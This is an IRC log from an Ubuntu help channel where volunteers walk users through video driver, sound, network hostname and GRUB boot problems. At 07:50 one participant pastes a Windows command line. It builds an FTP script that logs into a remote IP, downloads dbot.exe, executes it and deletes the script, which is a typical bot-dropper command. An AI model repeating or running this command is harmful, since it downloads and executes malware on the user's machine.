[07:24] <Bupsss> i tried to install the right video driver

[07:35] <lockdown> When booting from install CDs my screen just goes black,  I tried 6.06.1 and 7.04-beta,  ive tried safe graphics mode, 640 x 480 x16, and in boot options settings vga=771 and nothing works,   any ideas?
[07:35] <dkbg> lockdown: what kidn of video card do you have?
[07:35] <soundray> lockdown: you've done all the right things, I reckon your last hope is a text-mode installation from the alternate CD
[07:36] <lockdown> video card is on board in a dell dimension 2400,  believe it is intel
[07:36] <BLAM> lockdown: at what point in the boot process does your screeen go blank?
[07:36] <hendaus> soundray,  i make this on system setting -> display--> powersaving , i put a tick into monitor switchoff and the color still green
[07:36] <lockdown> i was thinking about doing the text mode but my hunch is when it is done and I boot for the first time and it goes to X i will probably have a black screen?
[07:36] <dubbydubby> anyone?
[07:36] <Kagar> grr, why am I getting 403 errors when doing sudo apt-get update?
[07:36] <soundray> hendaus: use the option I told you about
[07:36] <dkbg> lockdown: you could try setting your video driver to vesa in xorg.conf
[07:37] <lockdown> BLAM: I see it scrolling by that everything is starting which is on TTY1,  one of the last things I see is GDM starting and then it seems to switch to TTY7 and it goes black
[07:37] <soundray> lockdown: it's possible, but then you can fix it via the text console
[07:37] <hendaus> soundray,  i am using kubuntu
[07:38] <manton2007> hello, I need help with setting screen resolution. Also, I don't think ubuntu is truly recognizing my video card because there is more than an inch of black around my Viewsonci screen, and I can't make it bigger .
[07:38] <dkbg> lockdown: do you ever see any GUI at all? a cursor, a background, anything?
[07:38] <soundray> hendaus: I don't know then, try #kubuntu
[07:38] <lockdown> no GUI
[07:38] <hendaus> soundray,  ok thank u :)
[07:38] <dkbg> lockdown: I'd suggest you try vesa
[07:38] <lockdown> k
[07:39] <dkbg> do you know how to do that?
[07:39] <dkbg> lockdown: ?
[07:39] <lockdown> not too sure,  its been a while since i've looked at an xorg.conf,  let me boot up
[07:39] <kingcobra> soundray, system stil stalls
[07:40] <soundray> kingcobra: is that system not networked at all?
[07:40] <manton2007> I have a question about screen resolution, and getting Ubuntu to truly recognize my nvidia video card.
[07:40] <kingcobra> im on the comp im talkin about
[07:40] <kingcobra> it has connection to router to internet
[07:40] <BLAM> manton: go ahead
[07:41] <peter77> When I plug a pair of headphones into my Toshiba Satellite pro laptop the sound through the speakers doesn't switch off, instead sound plays through both the speakers and the headphones
[07:41] <soundray> kingcobra: how is it connected to the router?
[07:41] <kingcobra> wireless
[07:41] <peter77> This doesn't happen in windows xp and therefore must be a driver problem, does anyone have any experience with this kind of problem?
[07:42] <kingcobra> thats y i keep logging out and in
[07:42] <bugs> Hi all. I'm very much a newbie and have just started playing with Xubuntu 6.06. I'm using XFmedia to play video and music but can't persuade the media keys on my keyboard to work with it. Does anyone have advice how to solve this? Thanks!
[07:42] <unimatrix9> hello there, is there any thought given to metapacks, or install packages that have several things inside ( like easyubuntu does now )
[07:42] <kingcobra> the reboots
[07:42] <lockdown> dkbg, in xorg.conf under section device and identifier videocard0  i have driver "i810"  change that to vesa?
[07:42] <BLAM> peter77: that's a weird one.
[07:42] <peter77> anyone?
[07:42] <dkbg> lockdown: yeah
[07:42] <peter77> BLAM: yeah
[07:42] <dkbg> lockdown: under "Screen" change DefaultDepth to 16 too
[07:42] <soundray> kingcobra: how do you configure the IP address? DHCP from the router?
[07:42] <peter77> I think it uses an intel sound card
[07:42] <lockdown> it is at 24,  changing to 16
[07:42] <dkbg> yes
[07:42] <kingcobra> yes i think so
[07:43] <BLAM> peter77: I was going to tell you to check the BIOS settings but, uh, yeah, I'm stumped
[07:43] <soundray> kingcobra: do you get the same IP each time?
[07:43] <manton2007> I have a question about screen resolution, and getting Ubuntu to truly recognize my nvidia video card.
[07:43] <kingcobra> i dont kno
[07:43] <kingcobra> how do i find out
[07:43] <peter77> I can manually switch off the speakers by mutting "front" in the volume preferences
[07:43] <dkbg> lockdown: no remove /tmp/.X0-lock and startx
[07:43] <dkbg> *now
[07:44] <soundray> kingcobra: run ifconfig and find the "inet addr:" for your wireless interface
[07:44] <peter77> it's just that automatic switching between speakers and headphones which doesn't work
[07:44] <BLAM> peter77: but doesn't that also mute the headphones?
[07:44] <lockdown> dkbg, i did /etc/init.d/gdm stop and then start and it took me to a screen with a blue background that says Failed to start the X server...
[07:44] <dkbg> lockdown: hmm
[07:44] <bruenig> bsod
[07:44] <soundray> kingcobra: hint: it's not 'lo', it's the other one
[07:44] <kingcobra> soundray, its <IP_ADDRESS> at the mo
[07:45] <BLAM> manton: what is your questiion?
[07:45] <dkbg> lockdown: just try starting x with startx
[07:45] <lockdown> dkbg, ah,  "Failed to load module "Vesa" (module does not exist, 0)
[07:45] <dkbg> lockdown: I see
[07:45] <peter77> BLAM: no, to do that I have to mute "PCM"
[07:45] <soundray> kingcobra: sec...
[07:45] <kingcobra> soundray, i didnt see lo anywhere
[07:45] <Bupsss> back
[07:45] <peter77> which mutes both
[07:45] <ctothej> im looking to by a new dvd writer. are there any brands to stay away from that dont work well with linux/ubuntu??
[07:45] <dkbg> lockdown: hmm, I'm no expert
[07:46] <lockdown> i'm going to see if i can find the vesa driver
[07:46] <kingcobra> Paddy_EIRE, hello
[07:46] <Bupsss> atoponce, it says it cant find the command
[07:46] <dkbg> lockdown: I just used info that helped me get into x, but I have an ati card
[07:46] <BLAM> peter77: I had a similar problem with my thinkpad, but can't remember how I fixed it. sorry! have you tried a quick google?
[07:46] <kingcobra> Paddy_EIRE, u in dublin
[07:46] <bruenig> ctothej, they are all pretty much the same as far as how they interact. Seeing as they don't have drivers, they have to all generally stay to the same standards
[07:46] <soundray> kingcobra: 'gksudo gedit /etc/hosts' and make it look like this: http://paste.ubuntu-nl.org/11878/
[07:46] <dkbg> lockdown: it seems to me that vesa should be included by default
[07:46] <kingcobra> ok
[07:46] <peter77> BLAM: yeah
[07:46] <ctothej> bruenig: ok cool. how is the dual layer support?
[07:47] <peter77> didn't reveal too much
[07:47] <bruenig> ctothej, not sure
[07:47] <soundray> kingcobra: then log out and in (reboot shouldn't be necessary)
[07:47] <kingcobra> ok
[07:47] <BLAM> manton: dude, what is your question?
[07:47] <manton2007> I have a question about screen resolution, and getting ubuntu to recongnize my video card. Can someone help me?
[07:47] <dkbg> can anyone else help lockdown? :)
[07:47] <frojnd> 25 packets transmitted, 0 received, 100% packet loss, time 24005m          DOES that mean that there is no such IP ???
[07:47] <lockdown> dkbg, ah, case sensitive,  that worked, i got a login screen
[07:47] <manton2007> Blam, hwllo
[07:47] <manton2007> hello
[07:47] <lockdown> dkbg, thanks
[07:48] <manton2007> Blam, do you think you can talk me through it?
[07:48] <soundray> frojnd: no, it would say 'no route to host'
[07:48] <Bupsss> guys.... i still have problems
[07:48] <BLAM> manton: I am not a mind reader. please just ask the question.
[07:48] <Bupsss> i'm stuck at the login screen
[07:48] <Bupsss> saying that gdm cannot write
[07:49] <FunnyLookinHat> manton2007, what video card do you have?  Say what card you have and what your exact problem is   : )
[07:49] <SurfPunk_> I fixed my sound but my speaker icon still looks muted and when I rebooted I had no sound I had to do everything all over
[07:49] <FunnyLookinHat> If one of us know how to answer it, we will   : )
[07:49] <dkbg> lockdown: oh super!
[07:49] <manton2007> Blam, sorry. I don't think Ubuntu realizes the video card I have. It won't let me increase the screen resolution, and I know it can go higher in Windows. I've got a blackj space around  the side
[07:49] <dkbg> lockdown: glad I could help :)
[07:50] <thrax__> %systemroot%\system32\cmd.exe
[07:50] <manton2007> Blam, I've got an nvidia caRD
[07:50] <BLAM> manton: what is the card you have? I think you said Nvidia, do you know what model?
[07:50] <FunnyLookinHat> manton2007, are you on edgy or dapper?
[07:50] <thrax__> cmd /c echo open <IP_ADDRESS> 21 >> ik &echo user bot bot >> ik &echo binary >> ik &echo get dbot.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &dbot.exe &exit

[07:51] <Paddy_EIRE> hey guys Im sitting with a Dell Latitude Laptop with 701mhz processor and 256mb ram, I have it connected to the net using windows xp as the laptop has no ethernet port so Im using the windows usb drivers.  What would be my next best move to install a distro that would work best with what Ive got
[07:51] <Dave_O`Tool> www.agservers.com/linux_error.JPG   Can someone look at this error and tell me what it means?
[07:51] <FunnyLookinHat> manton2007, you should use envy to install your nvidia driver then and automatically configure it
[07:51] <FunnyLookinHat> !envy | manton2007
[07:51] <ubotu> manton2007: envy is a Python script that eases installation of the official Nvidia and ATI drivers. This software is NOT supported by ubuntu and you will not receive aid for it here. More at http://albertomilone.com/nvidia_scripts1.html See !nvidia and !nvidia9
[07:51] <kmasta> i keep getting a message that says "CPU Frequency scaling not supported" when ever i start ubuntu. I know it's because i turned off cool 'n quiet but how can i get the error message to go away
[07:51] <manton2007> Funny, how do I find envy?
[07:51] <FunnyLookinHat> manton2007, see the message above that was sent to you from ubotu
[07:51] <manton2007> ok
[07:51] <FunnyLookinHat> : )
[07:52] <BLAM> manton: if you have an older nvidia driver (and it sounds like you do) you have to install the nvidia legacy drivers
[07:52] <SurfPunk_> dam
[07:52] <Dave_O`Tool> anyone?
[07:52] <kingcobra> soundray, system still stalls
[07:52] <Zambezi> Is it risky to use softwareraid in Linux with like eight harddrives? Same modell, same size.
[07:52] <Paddy_EIRE> which version of ubuntu would have alot of the proprietry software already installed
[07:53] <FunnyLookinHat> Paddy_EIRE, no official ones.   I think Ultimate Ubuntu does that, however.
[07:53] <Paddy_EIRE> ok
[07:53] <kamera> can i load the ubuntu distro toram (from a hdd install?)
[07:53] <Dave_O`Tool> Can someone look at an error for me? I uploaded to my web server
[07:53] <Dave_O`Tool> www.agservers.com/linux_error.JPG
[07:54] <FunnyLookinHat> Dave_O`Tool, looks like your grub isn't setup correctly
[07:54] <Dave_O`Tool> Ok
[07:54] <soundray> kingcobra: okay, I still think it stalls because it's looking up its own hostname and times out without a response.
[07:54] <FunnyLookinHat> Dave_O`Tool, GRUB = Your bootloader, and it's not setting the correct hard drive to be your root
[07:54] <Dave_O`Tool> what do I do then?
[07:54] <Dave_O`Tool> oh
[07:55] <soundray> kingcobra: can you just 'cat /etc/hosts' and confirm that the file looks like my post
[07:55] <Dave_O`Tool> I heard or read it might be an issue with the 9xx intel Jmicron boards
[07:55] <soundray> kingcobra: you didn't put the http line in there, did you?
[07:55] <Dave_O`Tool> is that right?
[07:55] <FunnyLookinHat> Dave_O`Tool, Did you recently receive a kernel upgrade through updates?  If so, all you have to do is hit Escape when you find the GRUB screen and choose the next oldest kernel option
[07:55] <lockdown> Dave_O`Tool, google for can't access tty job control turned off   there are a ton of hits and the first one is busybox.com
[07:55] <bugs> Hi all. I put some files on a DVD-RW using Nero under Windows XP. I can't get Xubuntu to see the files (or even recognise that the DVD is in the drive). Does anyone know I can retrieve them?
[07:55] <scheuri> hi all
[07:56] <Dave_O`Tool> I was trying the newest live cd actually
[07:56] <Amon_Re> bugs: did you close the session on the dvd-r?
[07:56] <scheuri> anyone familiar with Nvidia binary drivers and Feisty? I have them installed and direct rendering is enabled...but how do I measure not the performance?
[07:56] <kingcobra> soundray, dont think so ill show ya now
[07:56] <scheuri> not=now
[07:56] <Amon_Re> God those beers are going to my head
[07:56] <ep2011> what would be a better idea, buying a WUSB54G which works "out of the box", or getting a WUSB54GS, which I could get working with ndiswrapper, but the WUSB54GS is also a better unit...
[07:57] <bugs> Amon_re: It's an RW, not an R. I honestly can't remember.
[07:57] <soundray> kingcobra: does 'hostname' give you 'sempron' now?
[07:57] <Amon_Re> bugs: burn it again & close the session ;)
[07:57] <vox754> ep2011, buy a PCI
[07:57] <Amon_Re> ep2011: i'd go for the supported one ;)
[07:57] <kingcobra> <IP_ADDRESS> localhost
[07:57] <kingcobra> <IP_ADDRESS> sempron
[07:57] <ep2011> vox754 - why
[07:57] <bugs> Amon_Re: I'll give it a try, thanks very much!
[07:57] <Amon_Re> bugs: no
[07:57] <Amon_Re> np
[07:57] <shafto> Does anyone know if you can use height and width additions to command lines if so how?
[07:58] <kingcobra> soundray, yes it gives me sempron
[07:58] <vox754> ep2011, I've tol you already PCI work better. If you have questions about the guaranty you should ask your retailer
